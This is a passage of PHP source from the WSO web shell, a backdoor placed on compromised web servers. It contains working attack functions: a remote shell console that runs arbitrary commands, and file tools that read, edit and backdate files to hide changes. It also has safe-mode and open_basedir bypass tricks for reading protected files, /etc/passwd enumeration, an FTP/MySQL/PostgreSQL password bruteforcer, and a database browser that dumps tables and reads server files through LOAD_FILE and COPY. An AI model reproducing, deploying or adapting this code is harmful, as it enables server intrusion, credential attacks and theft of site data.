1193 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
1194 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
1195 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
1196 <tr><td></td><td><input type='submit' value='>>'></td></tr>
1197 </table></form>";
1198
1199 function wsoRecursiveGlob($path) {
1200 if(substr($path, -1) != '/')
1201 $path.='/';
1202 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
1203 if(is_array($paths)&&@count($paths)) {
1204 foreach($paths as $item) {
1205 if(@is_dir($item)){
1206 if($path!=$item)
1207 wsoRecursiveGlob($item);
1208 } else {
1209 if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
1210 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
1211 }
1212 }
1213 }
1214 }
1215 if(@$_POST['p3'])
1216 wsoRecursiveGlob($_POST['c']);
1217 echo "</div><br><h1>Search for hash:</h1><div class=content>
1218
1219 <form method='post' target='_blank' name='hf'>
1220 <input type='text' name='hash' style='width:200px;'><br>
1221 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
1222 <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
1223 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
1224 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
1225 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
1226 </form></div>";
1227 wsoFooter();
1228}
1229
1230function actionFilesTools() {
1231 if( isset($_POST['p1']) )
1232 $_POST['p1'] = urldecode($_POST['p1']);
1233 if(@$_POST['p2']=='download') {
1234 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
1235 ob_start("ob_gzhandler", 4096);
1236 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
1237 if (function_exists("mime_content_type")) {
1238 $type = @mime_content_type($_POST['p1']);
1239 header("Content-Type: " . $type);
1240 } else
1241 header("Content-Type: application/octet-stream");
1242 $fp = @fopen($_POST['p1'], "r");
1243 if($fp) {
1244 while(!@feof($fp))
1245 echo @fread($fp, 1024);
1246 fclose($fp);
1247 }
1248 }exit;
1249 }
1250 if( @$_POST['p2'] == 'mkfile' ) {
1251 if(!file_exists($_POST['p1'])) {
1252 $fp = @fopen($_POST['p1'], 'w');
1253 if($fp) {
1254 $_POST['p2'] = "edit";
1255 fclose($fp);
1256 }
1257 }
1258 }
1259 wsoHeader();
1260 echo '<h1>File tools</h1><div class=content>';
1261 if( !file_exists(@$_POST['p1']) ) {
1262 echo 'File not exists';
1263 wsoFooter();
1264 return;
1265 }
1266 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
1267 if(!$uid) {
1268 $uid['name'] = @fileowner($_POST['p1']);
1269 $gid['name'] = @filegroup($_POST['p1']);
1270 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
1271 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
1272 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
1273 if( empty($_POST['p2']) )
1274 $_POST['p2'] = 'view';
1275 if( is_file($_POST['p1']) )
1276 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
1277 else
1278 $m = array('Chmod', 'Rename', 'Touch');
1279 foreach($m as $v)
1280 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
1281 echo '<br><br>';
1282 switch($_POST['p2']) {
1283 case 'view':
1284 echo '<pre class=ml1>';
1285 $fp = @fopen($_POST['p1'], 'r');
1286 if($fp) {
1287 while( !@feof($fp) )
1288 echo htmlspecialchars(@fread($fp, 1024));
1289 @fclose($fp);
1290 }
1291 echo '</pre>';
1292 break;
1293 case 'highlight':
1294 if( @is_readable($_POST['p1']) ) {
1295 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
1296 $code = @highlight_file($_POST['p1'],true);
1297 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
1298 }
1299 break;
1300 case 'chmod':
1301 if( !empty($_POST['p3']) ) {
1302 $perms = 0;
1303 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
1304 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
1305 if(!@chmod($_POST['p1'], $perms))
1306 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
1307 }
1308 clearstatcache();
1309 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
1310 break;
1311 case 'edit':
1312 if( !is_writable($_POST['p1'])) {
1313 echo 'File isn\'t writeable';
1314 break;
1315 }
1316 if( !empty($_POST['p3']) ) {
1317 $time = @filemtime($_POST['p1']);
1318 $_POST['p3'] = substr($_POST['p3'],1);
1319 $fp = @fopen($_POST['p1'],"w");
1320 if($fp) {
1321 @fwrite($fp,$_POST['p3']);
1322 @fclose($fp);
1323 echo 'Saved!<br><script>p3_="";</script>';
1324 @touch($_POST['p1'],$time,$time);
1325 }
1326 }
1327 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
1328 $fp = @fopen($_POST['p1'], 'r');
1329 if($fp) {
1330 while( !@feof($fp) )
1331 echo htmlspecialchars(@fread($fp, 1024));
1332 @fclose($fp);
1333 }
1334 echo '</textarea><input type=submit value=">>"></form>';
1335 break;
1336 case 'hexdump':
1337 $c = @file_get_contents($_POST['p1']);
1338 $n = 0;
1339 $h = array('00000000<br>','','');
1340 $len = strlen($c);
1341 for ($i=0; $i<$len; ++$i) {
1342 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
1343 switch ( ord($c[$i]) ) {
1344 case 0: $h[2] .= ' '; break;
1345 case 9: $h[2] .= ' '; break;
1346 case 10: $h[2] .= ' '; break;
1347 case 13: $h[2] .= ' '; break;
1348 default: $h[2] .= $c[$i]; break;
1349 }
1350 $n++;
1351 if ($n == 32) {
1352 $n = 0;
1353 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
1354 $h[1] .= '<br>';
1355 $h[2] .= "\n";
1356 }
1357 }
1358 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
1359 break;
1360 case 'rename':
1361 if( !empty($_POST['p3']) ) {
1362 if(!@rename($_POST['p1'], $_POST['p3']))
1363 echo 'Can\'t rename!<br>';
1364 else
1365 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
1366 }
1367 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
1368 break;
1369 case 'touch':
1370 if( !empty($_POST['p3']) ) {
1371 $time = strtotime($_POST['p3']);
1372 if($time) {
1373 if(!touch($_POST['p1'],$time,$time))
1374 echo 'Fail!';
1375 else
1376 echo 'Touched!';
1377 } else echo 'Bad time format!';
1378 }
1379 clearstatcache();
1380 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
1381 break;
1382 }
1383 echo '</div>';
1384 wsoFooter();
1385}
1386
1387function actionSafeMode() {
1388 $temp='';
1389 ob_start();
1390 switch($_POST['p1']) {
1391 case 1:
1392 $temp=@tempnam($test, 'cx');
1393 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
1394 echo @file_get_contents($temp);
1395 unlink($temp);
1396 } else
1397 echo 'Sorry... Can\'t open file';
1398 break;
1399 case 2:
1400 $files = glob($_POST['p2'].'*');
1401 if( is_array($files) )
1402 foreach ($files as $filename)
1403 echo $filename."\n";
1404 break;
1405 case 3:
1406 $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
1407 curl_exec($ch);
1408 break;
1409 case 4:
1410 ini_restore("safe_mode");
1411 ini_restore("open_basedir");
1412 include($_POST['p2']);
1413 break;
1414 case 5:
1415 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
1416 $uid = @posix_getpwuid($_POST['p2']);
1417 if ($uid)
1418 echo join(':',$uid)."\n";
1419 }
1420 break;
1421 }
1422 $temp = ob_get_clean();
1423 wsoHeader();
1424 echo '<h1>Safe mode bypass</h1><div class=content>';
1425 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
1426 if($temp)
1427 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
1428 echo '</div>';
1429 wsoFooter();
1430}
1431
1432function actionConsole() {
1433 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
1434 $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
1435 $_POST['p1'] .= ' 2>&1';
1436 } elseif(!empty($_POST['p1']))
1437 $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
1438
1439 if(isset($_POST['ajax'])) {
1440 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
1441 ob_start();
1442 echo "d.cf.cmd.value='';\n";
1443 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
1444 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
1445 if(@chdir($match[1])) {
1446 $GLOBALS['cwd'] = @getcwd();
1447 echo "c_='".$GLOBALS['cwd']."';";
1448 }
1449 }
1450 echo "d.cf.output.value+='".$temp."';";
1451 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1452 $temp = ob_get_clean();
1453 echo strlen($temp), "\n", $temp;
1454 exit;
1455 }
1456 wsoHeader();
1457 echo "<script>
1458if(window.Event) window.captureEvents(Event.KEYDOWN);
1459var cmds = new Array('');
1460var cur = 0;
1461function kp(e) {
1462 var n = (window.Event) ? e.which : e.keyCode;
1463 if(n == 38) {
1464 cur--;
1465 if(cur>=0)
1466 document.cf.cmd.value = cmds[cur];
1467 else
1468 cur++;
1469 } else if(n == 40) {
1470 cur++;
1471 if(cur < cmds.length)
1472 document.cf.cmd.value = cmds[cur];
1473 else
1474 cur--;
1475 }
1476}
1477function add(cmd) {
1478 cmds.pop();
1479 cmds.push(cmd);
1480 cmds.push('');
1481 cur = cmds.length-1;
1482}
1483
1484</script>";
1485 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1486 foreach($GLOBALS['aliases'] as $n => $v) {
1487 if($v == '') {
1488 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1489 continue;
1490 }
1491 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1492 }
1493 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1494 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1495 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1496 if(!empty($_POST['p1'])) {
1497 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1498 }
1499 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1500 echo '</form></div><script>d.cf.cmd.focus();</script>';
1501 wsoFooter();
1502}
1503
1504function actionLogout() {
1505 session_destroy();
1506 die('bye!');
1507}
1508
1509function actionSelfRemove() {
1510
1511 if($_POST['p1'] == 'yes')
1512 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1513 die('Shell has been removed');
1514 else
1515 echo 'unlink error!';
1516 if($_POST['p1'] != 'yes')
1517 wsoHeader();
1518 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1519 wsoFooter();
1520}
1521
1522function actionBruteforce() {
1523 wsoHeader();
1524 if( isset($_POST['proto']) ) {
1525 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1526 if( $_POST['proto'] == 'ftp' ) {
1527 function bruteForce($ip,$port,$login,$pass) {
1528 $fp = @ftp_connect($ip, $port?$port:21);
1529 if(!$fp) return false;
1530 $res = @ftp_login($fp, $login, $pass);
1531 @ftp_close($fp);
1532 return $res;
1533 }
1534 } elseif( $_POST['proto'] == 'mysql' ) {
1535 function bruteForce($ip,$port,$login,$pass) {
1536 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1537 @mysql_close($res);
1538 return $res;
1539 }
1540 } elseif( $_POST['proto'] == 'pgsql' ) {
1541 function bruteForce($ip,$port,$login,$pass) {
1542 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1543 $res = @pg_connect($str);
1544 @pg_close($res);
1545 return $res;
1546 }
1547 }
1548 $success = 0;
1549 $attempts = 0;
1550 $server = explode(":", $_POST['server']);
1551 if($_POST['type'] == 1) {
1552 $temp = @file('/etc/passwd');
1553 if( is_array($temp) )
1554 foreach($temp as $line) {
1555 $line = explode(":", $line);
1556 ++$attempts;
1557 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1558 $success++;
1559 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1560 }
1561 if(@$_POST['reverse']) {
1562 $tmp = "";
1563 for($i=strlen($line[0])-1; $i>=0; --$i)
1564 $tmp .= $line[0][$i];
1565 ++$attempts;
1566 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1567 $success++;
1568 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1569 }
1570 }
1571 }
1572 } elseif($_POST['type'] == 2) {
1573 $temp = @file($_POST['dict']);
1574 if( is_array($temp) )
1575 foreach($temp as $line) {
1576 $line = trim($line);
1577 ++$attempts;
1578 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1579 $success++;
1580 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1581 }
1582 }
1583 }
1584 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1585 }
1586 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1587 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1588 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1589 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1590 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1591 .'<span>Server:port</span></td>'
1592 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1593 .'<tr><td><span>Brute type</span></td>'
1594 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1595 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1596 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1597 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1598 .'<td><input type=text name=login value="root"></td></tr>'
1599 .'<tr><td><span>Dictionary</span></td>'
1600 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1601 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1602 echo '</div><br>';
1603 wsoFooter();
1604}
1605
1606function actionSql() {
1607 class DbClass {
1608 var $type;
1609 var $link;
1610 var $res;
1611 function DbClass($type) {
1612 $this->type = $type;
1613 }
1614 function connect($host, $user, $pass, $dbname){
1615 switch($this->type) {
1616 case 'mysql':
1617 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1618 break;
1619 case 'pgsql':
1620 $host = explode(':', $host);
1621 if(!$host[1]) $host[1]=5432;
1622 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1623 break;
1624 }
1625 return false;
1626 }
1627 function selectdb($db) {
1628 switch($this->type) {
1629 case 'mysql':
1630 if (@mysql_select_db($db))return true;
1631 break;
1632 }
1633 return false;
1634 }
1635 function query($str) {
1636 switch($this->type) {
1637 case 'mysql':
1638 return $this->res = @mysql_query($str);
1639 break;
1640 case 'pgsql':
1641 return $this->res = @pg_query($this->link,$str);
1642 break;
1643 }
1644 return false;
1645 }
1646 function fetch() {
1647 $res = func_num_args()?func_get_arg(0):$this->res;
1648 switch($this->type) {
1649 case 'mysql':
1650 return @mysql_fetch_assoc($res);
1651 break;
1652 case 'pgsql':
1653 return @pg_fetch_assoc($res);
1654 break;
1655 }
1656 return false;
1657 }
1658 function listDbs() {
1659 switch($this->type) {
1660 case 'mysql':
1661 return $this->query("SHOW databases");
1662 break;
1663 case 'pgsql':
1664 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1665 break;
1666 }
1667 return false;
1668 }
1669 function listTables() {
1670 switch($this->type) {
1671 case 'mysql':
1672 return $this->res = $this->query('SHOW TABLES');
1673 break;
1674 case 'pgsql':
1675 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1676 break;
1677 }
1678 return false;
1679 }
1680 function error() {
1681 switch($this->type) {
1682 case 'mysql':
1683 return @mysql_error();
1684 break;
1685 case 'pgsql':
1686 return @pg_last_error();
1687 break;
1688 }
1689 return false;
1690 }
1691 function setCharset($str) {
1692 switch($this->type) {
1693 case 'mysql':
1694 if(function_exists('mysql_set_charset'))
1695 return @mysql_set_charset($str, $this->link);
1696 else
1697 $this->query('SET CHARSET '.$str);
1698 break;
1699 case 'pgsql':
1700 return @pg_set_client_encoding($this->link, $str);
1701 break;
1702 }
1703 return false;
1704 }
1705 function loadFile($str) {
1706 switch($this->type) {
1707 case 'mysql':
1708 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1709 break;
1710 case 'pgsql':
1711 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1712 $r=array();
1713 while($i=$this->fetch())
1714 $r[] = $i['file'];
1715 $this->query('drop table wso2');
1716 return array('file'=>implode("\n",$r));
1717 break;
1718 }
1719 return false;
1720 }
1721 function dump($table, $fp = false) {
1722 switch($this->type) {
1723 case 'mysql':
1724 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1725 $create = mysql_fetch_array($res);
1726 $sql = $create[1].";\n";
1727 if($fp) fwrite($fp, $sql); else echo($sql);
1728 $this->query('SELECT * FROM `'.$table.'`');
1729 $head = true;
1730 while($item = $this->fetch()) {
1731 $columns = array();
1732 foreach($item as $k=>$v) {
1733 if($v == null)
1734 $item[$k] = "NULL";
1735 elseif(is_numeric($v))
1736 $item[$k] = $v;
1737 else
1738 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1739 $columns[] = "`".$k."`";
1740 }
1741 if($head) {
1742 $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
1743 $head = false;
1744 } else
1745 $sql = "\n\t,(".implode(", ", $item).')';
1746 if($fp) fwrite($fp, $sql); else echo($sql);
1747 }
1748 if(!$head)
1749 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
1750 break;
1751 case 'pgsql':
1752 $this->query('SELECT * FROM '.$table);
1753 while($item = $this->fetch()) {
1754 $columns = array();
1755 foreach($item as $k=>$v) {
1756 $item[$k] = "'".addslashes($v)."'";
1757 $columns[] = $k;
1758 }
1759 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1760 if($fp) fwrite($fp, $sql); else echo($sql);
1761 }
1762 break;
1763 }
1764 return false;
1765 }
1766 };
1767 $db = new DbClass($_POST['type']);
1768 if(@$_POST['p2']=='download') {
1769 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1770 $db->selectdb($_POST['sql_base']);
1771 switch($_POST['charset']) {
1772 case "Windows-1251": $db->setCharset('cp1251'); break;
1773 case "UTF-8": $db->setCharset('utf8'); break;
1774 case "KOI8-R": $db->setCharset('koi8r'); break;
1775 case "KOI8-U": $db->setCharset('koi8u'); break;
1776 case "cp866": $db->setCharset('cp866'); break;
1777 }
1778 if(empty($_POST['file'])) {
1779 ob_start("ob_gzhandler", 4096);
1780 header("Content-Disposition: attachment; filename=dump.sql");
1781 header("Content-Type: text/plain");
1782 foreach($_POST['tbl'] as $v)
1783 $db->dump($v);
1784 exit;
1785 } elseif($fp = @fopen($_POST['file'], 'w')) {
1786 foreach($_POST['tbl'] as $v)
1787 $db->dump($v, $fp);
1788 fclose($fp);
1789 unset($_POST['p2']);
1790 } else
1791 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1792 }
1793 wsoHeader();
1794 echo "
1795
1796<h1>Sql browser</h1><div class=content>
1797<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1798<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1799<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1800<td><select name='type'><option value='mysql' ";
1801 if(@$_POST['type']=='mysql')echo 'selected';
1802echo ">MySql</option><option value='pgsql' ";
1803if(@$_POST['type']=='pgsql')echo 'selected';
1804echo ">PostgreSql</option></select></td>
1805<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
1806<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
1807<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
1808 $tmp = "<input type=text name=sql_base value=''>";
1809 if(isset($_POST['sql_host'])){
1810 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1811 switch($_POST['charset']) {
1812 case "Windows-1251": $db->setCharset('cp1251'); break;
1813 case "UTF-8": $db->setCharset('utf8'); break;
1814 case "KOI8-R": $db->setCharset('koi8r'); break;
1815 case "KOI8-U": $db->setCharset('koi8u'); break;
1816 case "cp866": $db->setCharset('cp866'); break;
1817 }
1818 $db->listDbs();
1819 echo "<select name=sql_base><option value=''></option>";
1820 while($item = $db->fetch()) {
1821 list($key, $value) = each($item);
1822 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1823 }
1824 echo '</select>';
1825 }
1826 else echo $tmp;
1827 }else
1828 echo $tmp;
1829 echo "</td>
1830
1831 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1832 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
1833 </tr>
1834 </table>
1835 <script>
1836 s_db='".@addslashes($_POST['sql_base'])."';
1837 function fs(f) {
1838 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1839 if(f.p1) f.p1.value='';
1840 if(f.p2) f.p2.value='';
1841 if(f.p3) f.p3.value='';
1842 }
1843 }
1844 function st(t,l) {
1845 d.sf.p1.value = 'select';
1846 d.sf.p2.value = t;
1847 if(l && d.sf.p3) d.sf.p3.value = l;
1848 d.sf.submit();
1849 }
1850 function is() {
1851 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1852 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1853 }
1854 </script>";
1855 if(isset($db) && $db->link){
1856 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1857 if(!empty($_POST['sql_base'])){
1858 $db->selectdb($_POST['sql_base']);
1859 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1860 $tbls_res = $db->listTables();
1861 while($item = $db->fetch($tbls_res)) {
1862 list($key, $value) = each($item);
1863 if(!empty($_POST['sql_count']))
1864 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1865 $value = htmlspecialchars($value);
1866 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
1867 }
1868 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1869 if(@$_POST['p1'] == 'select') {
1870 $_POST['p1'] = 'query';
1871 $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
1872 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1873 $num = $db->fetch();
1874 $pages = ceil($num['n'] / 30);
1875 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1876 echo " of $pages";
1877 if($_POST['p3'] > 1)
1878 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
1879 if($_POST['p3'] < $pages)
1880 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
1881 $_POST['p3']--;
1882 if($_POST['type']=='pgsql')
1883 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1884 else
1885 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1886 echo "<br><br>";
1887 }
1888 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1889 $db->query(@$_POST['p2']);
1890 if($db->res !== false) {
1891 $title = false;
1892 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1893 $line = 1;
1894 while($item = $db->fetch()) {
1895 if(!$title) {
1896 echo '<tr>';
1897 foreach($item as $key => $value)
1898 echo '<th>'.$key.'</th>';
1899 reset($item);
1900 $title=true;
1901 echo '</tr><tr>';
